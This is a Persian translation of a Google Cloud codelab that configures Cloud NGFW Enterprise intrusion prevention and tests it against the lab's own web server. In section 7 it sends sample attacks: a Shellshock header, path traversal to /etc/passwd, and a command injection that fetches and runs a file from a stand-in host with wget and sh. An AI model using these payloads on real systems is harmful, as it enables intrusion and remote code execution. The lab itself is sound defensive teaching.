Cloud NGFW Enterprise - سرویس پیشگیری از نفوذ (بدون بازرسی TLS)

۱. مقدمه

فایروال نسل بعدی ابری (NGFW)

فایروال نسل بعدی ابری، یک سرویس فایروال کاملاً توزیع‌شده با قابلیت‌های حفاظتی پیشرفته، تقسیم‌بندی خرد و پوشش فراگیر است که بارهای کاری گوگل کلود شما را از حملات داخلی و خارجی محافظت می‌کند.

فایروال نسل بعدی ابری (Cloud NGFW) مزایای زیر را دارد:

  • سرویس فایروال توزیع‌شده: فایروال نسل بعدی ابری (Cloud NGFW) یک الزام مبتنی بر میزبان کاملاً توزیع‌شده و دارای وضعیت (stateful) را در هر بار کاری فراهم می‌کند تا معماری امنیتی بدون اعتماد (zero-trust) را فعال کند.
  • پیکربندی و استقرار ساده: Cloud NGFW سیاست‌های فایروال شبکه و سلسله مراتبی را پیاده‌سازی می‌کند که می‌توانند به یک گره سلسله مراتب منابع متصل شوند. این سیاست‌ها یک تجربه فایروال سازگار در سراسر سلسله مراتب منابع Google Cloud ارائه می‌دهند.
  • کنترل جزئی و ریزبخش‌بندی: ترکیب سیاست‌های فایروال و تگ‌های تحت مدیریت مدیریت هویت و دسترسی (IAM)، کنترل دقیقی را برای ترافیک شمال-جنوب و شرق-غرب، تا یک ماشین مجازی واحد، در سراسر شبکه‌ها و سازمان‌های ابر خصوصی مجازی (VPC) فراهم می‌کند.

فایروال نسل بعدی ابری (Cloud NGFW) در سطوح زیر موجود است:

فایروال نسل بعدی ابری (Cloud NGFW Enterprise)

Cloud NGFW Enterprise سرویس پیشگیری از نفوذ (IPS) ، یک قابلیت لایه ۷، را به ساختار توزیع‌شده‌ی Google Cloud Firewall اضافه می‌کند. بازرسی TLS برای امکان بازرسی ترافیک رمزگذاری‌شده‌ی TLS پشتیبانی می‌شود، اما خارج از محدوده‌ی این آزمایشگاه کد است ( به آزمایشگاه کد Cloud NGFW Enterprise با بازرسی TLS مراجعه کنید).

اکنون می‌توانید بازرسی‌های قابل اعتماد لایه ۷ فایروال نسل بعدی (NGFW) را با کنترل‌های جزئی و بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندی‌های مسیریابی خود، پیاده‌سازی کنید.

برای فعال‌سازی و استقرار کنترل فایروال لایه ۷ با IPS، باید کارهای زیر را انجام دهید:

  • مجموعه‌ای از نقاط پایانی فایروال منطقه‌ای مدیریت‌شده توسط گوگل کلود ایجاد کنید.
  • به صورت اختیاری یک سیاست بازرسی TLS ایجاد کنید (در این آزمایشگاه کد پوشش داده نمی‌شود)
  • به صورت اختیاری یک Trust Config ایجاد کنید (در این کد پوشش داده نشده است)
  • این نقاط پایانی را با شبکه‌های ابر خصوصی مجازی (VPC) که در آن‌ها به سرویس Cloud NGFW Enterprise نیاز دارید، مرتبط کنید.
  • تغییرات ساده‌ای در سیاست‌های فایروال و قوانین فایروال موجود خود ایجاد کنید تا پروفایل‌های پیشگیری از تهدید را برای مسیرهای مختلف ترافیک مشخص کنید.

سیاست‌های فایروال شبکه

سیاست فایروال شبکه به عنوان ظرفی برای قوانین فایروال عمل می‌کند. قوانین تعریف شده در یک سیاست فایروال شبکه تا زمانی که این سیاست با یک شبکه VPC مرتبط نشود، در هیچ کجا اجرا نمی‌شوند. هر شبکه VPC می‌تواند یک سیاست فایروال شبکه مرتبط با خود داشته باشد. سیاست‌های فایروال شبکه از برچسب‌های (یا فقط برچسب‌ها) تحت مدیریت IAM در قوانین فایروال پشتیبانی می‌کنند که جایگزین برچسب‌های شبکه فعلی می‌شوند و می‌توانند برای ارائه هویت به بار کاری مورد استفاده قرار گیرند.

اشتراک‌گذاری سیاست فایروال شبکه در سراسر شبکه‌ها و ادغام با تگ‌های تحت مدیریت IAM، پیکربندی و مدیریت فایروال‌ها را تا حد زیادی ساده می‌کند.

با معرفی سیاست فایروال شبکه، سیاست‌های فایروال گوگل کلود اکنون از اجزای زیر تشکیل شده است:

  1. سیاست سلسله مراتبی فایروال
  2. قوانین فایروال VPC
  3. سیاست فایروال شبکه ( جهانی و منطقه‌ای )

سیاست‌های سلسله مراتبی فایروال در گره‌های سازمان و پوشه در سلسله مراتب منابع پشتیبانی می‌شوند، در حالی که قوانین فایروال VPC و سیاست‌های فایروال شبکه در سطح VPC اعمال می‌شوند. تفاوت بزرگ بین قوانین فایروال VPC و سیاست‌های فایروال شبکه این است که قوانین فایروال VPC فقط می‌توانند به یک شبکه VPC واحد اعمال شوند، در حالی که سیاست‌های فایروال شبکه می‌توانند به یک VPC واحد یا گروهی از VPCها متصل شوند، از جمله مزایای دیگر مانند به‌روزرسانی‌های دسته‌ای.

در نهایت، ما همچنین قوانین ضمنی فایروال را داریم که با هر شبکه VPC همراه است:

  • یک قانون خروج که اقدام آن allow و مقصد آن 0.0.0.0/0 است.
  • یک قانون ورود که عمل آن deny و منبع آن 0.0.0.0/0 است.

به طور پیش فرض، توالی اجرای در نمودار زیر نشان داده شده است:

21b3bcabc469ffe.png

لطفاً توجه داشته باشید که دستور اجرایی بین قوانین فایروال VPC و سیاست فایروال شبکه جهانی قابل جابجایی است. مشتریان می‌توانند دستور اجرایی را در هر زمان با یک دستور gcloud مشخص کنند.

برچسب‌های تحت مدیریت IAM

تگ‌های جدیدی که در قوانین سیاست فایروال شبکه ادغام شده‌اند، منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله مراتب منابع Google Cloud تعریف شده‌اند. چنین تگی، همانطور که از نامش پیداست، حاوی یک کنترل دسترسی IAM است که مشخص می‌کند چه کسی می‌تواند چه کاری را روی تگ انجام دهد. به عنوان مثال، مجوزهای IAM به فرد اجازه می‌دهد مشخص کند کدام مدیران می‌توانند مقادیر را به تگ‌ها اختصاص دهند و کدام مدیران می‌توانند تگ‌ها را به منابع متصل کنند. پس از اعمال یک تگ به یک منبع، قوانین فایروال شبکه می‌توانند از آن برای اجازه دادن و رد کردن ترافیک استفاده کنند.

تگ‌ها از مدل ارث‌بری منابع گوگل کلود پیروی می‌کنند، به این معنی که تگ‌ها و مقادیر آنها از والدینشان در سلسله مراتب به ارث می‌رسند. در نتیجه، تگ‌ها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشه‌ها و پروژه‌های دیگر در سراسر سلسله مراتب منابع استفاده شوند. برای جزئیات بیشتر در مورد تگ‌ها و محدودیت دسترسی، به این صفحه مراجعه کنید.

برچسب‌ها را نباید با برچسب‌های شبکه اشتباه گرفت. دومی رشته‌هایی هستند که می‌توانند به نمونه‌های Compute Engine اضافه شوند؛ آن‌ها با نمونه مرتبط هستند و با از رده خارج شدن نمونه، ناپدید می‌شوند. قوانین فایروال VPC ممکن است شامل برچسب‌های شبکه باشند، اما از آنجایی که آن‌ها به عنوان منابع ابری در نظر گرفته نمی‌شوند، مشمول کنترل دسترسی IAM نمی‌شوند.

توجه داشته باشید که برچسب‌ها و برچسب‌های تحت مدیریت IAM در این سند به جای یکدیگر استفاده می‌شوند.

آنچه خواهید ساخت

این آزمایشگاه کد به یک پروژه واحد و توانایی ایجاد یک شبکه VPC با اتصال عمومی نیاز دارد و نشان می‌دهد که چگونه Cloud NGFW Enterprise می‌تواند عملکرد IPS را از طریق موارد زیر ارائه دهد:

  • بررسی جریان‌های درون VPC/زیرشبکه [شرق-غرب]
  • بررسی جریان‌های ورودی از اینترنت [شمال-جنوب]

جریان‌هایی که باید بررسی شوند با استفاده از پارامترهای تطبیق فایروال ابری شامل ۵ تایی (IP منبع، IP مقصد، پروتکل، پورت منبع، پورت مقصد) و برچسب‌ها انتخاب می‌شوند. بازرسی TLS در این آزمایشگاه کد گنجانده نشده است.

52a0642ef8668ecf.png

پایگاه داده سیاست فایروال شبکه مشابه جدول زیر خواهد بود:

اولویت

جهت

هدف

منبع

مقصد

اکشن

نوع

۱۰۰

خروج

برچسب_قرنطینه

هر

هر

انکار

ملزومات

۱۰۰۰

ورود

برچسب_سرور

محدوده‌های بررسی سلامت

هر

اجازه دادن

ملزومات

۲۰۰۰

ورود

هر

محدوده‌های پروکسی آگاه از هویت

هر

اجازه دادن

ملزومات

۳۰۰۰

ورود

هر

جئو، GCTI

هر

انکار

استاندارد

۴۰۰۰

خروج

هر

هر

جئو، GCTI

انکار

استاندارد

۵۰۰۰

خروج

هر

هر

به‌روزرسانی سیستم FQDNها

اجازه دادن

استاندارد

۶۰۰۰

ورود

برچسب_سرور

۱۰.۰.۰.۰/۲۴

هر

آی پی اس

تصدی

۷۰۰۰

ورود

برچسب_سرور

CloudNAT_IP

هر

آی پی اس

تصدی

آنچه یاد خواهید گرفت

آنچه نیاز دارید

  • پروژه گوگل کلود
  • آشنایی با پیاده‌سازی نمونه‌ها و پیکربندی اجزای شبکه
  • دانش پیکربندی فایروال VPC

۲. قبل از شروع

ایجاد/به‌روزرسانی متغیرها

این آزمایشگاه کد از $variables برای کمک به پیاده‌سازی پیکربندی gcloud در Cloud Shell استفاده می‌کند.

در Cloud Shell، دستورات زیر را اجرا کنید و اطلاعات داخل پرانتز را در صورت نیاز جایگزین کنید (اگر پروژه مورد نظر از قبل تنظیم شده است، از تنظیم پروژه صرف نظر کنید). در صورت نیاز به چندین نقطه پایانی، مثلاً فایروال، از متغیر متفاوتی برای منابع سطح سازمان استفاده می‌شود.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

۳. فعال کردن APIها

اگر APIها را فعال نکرده‌اید، آن‌ها را فعال کنید:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

۴. پروفایل امنیتی سازمانی Cloud NGFW و ایجاد نقطه پایانی

از آنجایی که ایجاد Cloud NGFW Enterprise Endpoint حدود 20 دقیقه طول می‌کشد، ابتدا ایجاد می‌شود و راه‌اندازی پایه می‌تواند به صورت موازی در حین ایجاد Endpoint انجام شود.

ایجاد پروفایل امنیتی و گروه پروفایل امنیتی:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

خروجی مورد انتظار:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

تأیید کنید که منابع با موفقیت ایجاد شده‌اند:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

خروجی مورد انتظار:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

برای تأیید اینکه نقطه پایانی در حال ایجاد است، دستور زیر را اجرا کنید (وضعیت: CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

فرآیند ایجاد نقطه پایانی حدود 20 دقیقه طول می‌کشد. برای ایجاد منابع مورد نیاز به صورت موازی، به بخش تنظیمات پایه بروید.

۵. چیدمان پایه

اگر ترجیح می‌دهید منابع پایه را به صورت دستی ایجاد کنید، به بخش‌های بعدی بروید.

شبکه و زیرشبکه VPC

شبکه و زیرشبکه VPC

شبکه و زیرشبکه VPC را ایجاد کنید:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

NAT ابری

روترهای ابری و دروازه‌های Cloud NAT را ایجاد کنید:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

موارد

نمونه‌های کلاینت و وب-سرور را ایجاد کنید:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

برچسب‌های سطح پروژه

در صورت نیاز، مجوزهای tagAdmin و/یا tagUser را به کاربر اختصاص دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

کلید و مقادیر Tag در سطح پروژه را ایجاد کنید:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

اتصال تگ‌ها به نمونه‌ها:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

سیاست جهانی فایروال شبکه

ایجاد سیاست فایروال شبکه جهانی:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

ایجاد فایروال ابری قوانین ضروری برای رد ترافیک از نمونه‌های قرنطینه‌شده (فقط به عنوان مثال ایجاد شده‌اند و در این آزمایشگاه کد استفاده نمی‌شوند) و اجازه دادن به ترافیک از محدوده‌های پروکسی بررسی سلامت و آگاه از هویت :

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

قوانین استاندارد فایروال ابری را برای جلوگیری از ورود و خروج ترافیک از/به کشورهای تحریم‌شده، IPهای مخرب شناخته‌شده و گره‌های خروج ToR ایجاد کنید؛ و فقط اجازه خروج ترافیک به FQDNهای خاص را برای به‌روزرسانی‌های سیستم بدهید (فقط به عنوان مثال ایجاد شده و در این آزمایشگاه کد استفاده نمی‌شود):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

قوانین فایروال ابری را ایجاد کنید تا اجازه ورود ترافیک شرق-غرب / درون زیرشبکه و شمال-جنوب / اینترنت از محدوده‌های خاص را بدهد (این قوانین برای فعال کردن Cloud NGFW Enterprise به‌روزرسانی خواهند شد):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

سیاست فایروال شبکه را به شبکه VPC مرتبط کنید:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

متعادل‌کننده بار شبکه TCP/UDP خارجی

یک آدرس IP خارجی رزرو کنید و گروه نمونه را ایجاد کنید و سلامت آن را بررسی کنید:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

ایجاد سرویس backend و قانون forwarding:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

۶. انجمن نقطه پایانی سازمانی Cloud NGFW

در صورت نیاز، متغیرهای محیطی را دوباره تعریف کنید.

تأیید کنید که ایجاد Cloud Firewall Endpoint با موفقیت انجام شده است. فقط زمانی ادامه دهید که وضعیت به صورت ACTIVE نشان داده شود (در طول ایجاد، وضعیت مورد انتظار CREATING است):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

خروجی مورد انتظار (توجه داشته باشید که فرمت خروجی ممکن است بسته به کلاینت مورد استفاده متفاوت باشد):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

خروجی مورد انتظار:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

نقطه پایانی Cloud NGFW Enterprise را به شبکه VPC مرتبط کنید:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

فرآیند ارتباط حدود ۱۰ دقیقه طول می‌کشد. فقط زمانی ادامه دهید که وضعیت به صورت ACTIVE (فعال) نشان داده شود (وضعیت مورد انتظار در طول فرآیند ایجاد، در حال ایجاد است):

gcloud network-security firewall-endpoint-associations list

خروجی مورد انتظار:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

در صورت تمایل، برای دریافت جزئیات بیشتر، دستور زیر را اجرا کنید:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

خروجی مورد انتظار:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

۷. قوانین بازرسی سازمانی فایروال نسل بعدی ابری (Cloud NGFW)

یک تب جدید باز کنید و از طریق IAP یک اتصال SSH به ماشین مجازی کلاینت برقرار کنید (باید متغیرها را دوباره در تب جدید تعریف کنید):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

متغیرهای مورد نیاز را در جلسه SSH تعریف کنید و متغیرها را تنظیم کنید (مطمئن شوید که مقادیر صحیح هستند):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

هر دو IP را curl کنید تا تأیید شود که قابل دسترسی هستند:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

نتیجه مورد انتظار برای هر دو درخواست curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

حملات نمونه را به IP سرور داخلی (ترافیک شرق-غرب / درون VPC) ارسال کنید. وب سرور باید به تمام درخواست‌ها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری L7 در محل وجود ندارد:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

حملات نمونه را از طریق Cloud NAT (ترافیک ورودی شمال-جنوب) به IP سرور خارجی ارسال کنید و به همین ترتیب سرور وب باید به همه درخواست‌ها پاسخ دهد:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

نتایج مورد انتظار برای هر دو IP عمومی و خصوصی:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

به Cloud Shell برگردید و قوانین ورودی موجود را به‌روزرسانی کنید تا بازرسی L7 فعال شود:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

در صورت تمایل، قوانین فایروال را برای تأیید به‌روزرسانی موفقیت‌آمیز هر دو شرح دهید:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

خروجی مورد انتظار:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

قانون ۷۰۰۰:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

خروجی مورد انتظار:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

به ماشین مجازی کلاینت برگردید و حملات نمونه را دوباره به IP سرور داخلی ارسال کنید (بازرسی East-West / Intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

حملات نمونه را از طریق Cloud NAT (بازرسی ورودی شمال-جنوب) به IP سرور خارجی دوباره ارسال کنید:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

طبق خروجی مورد انتظار زیر، هیچ پاسخی برای حملات اول دریافت نمی‌شود که تأیید می‌کند حملات با شدت بالا اکنون مسدود شده‌اند.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

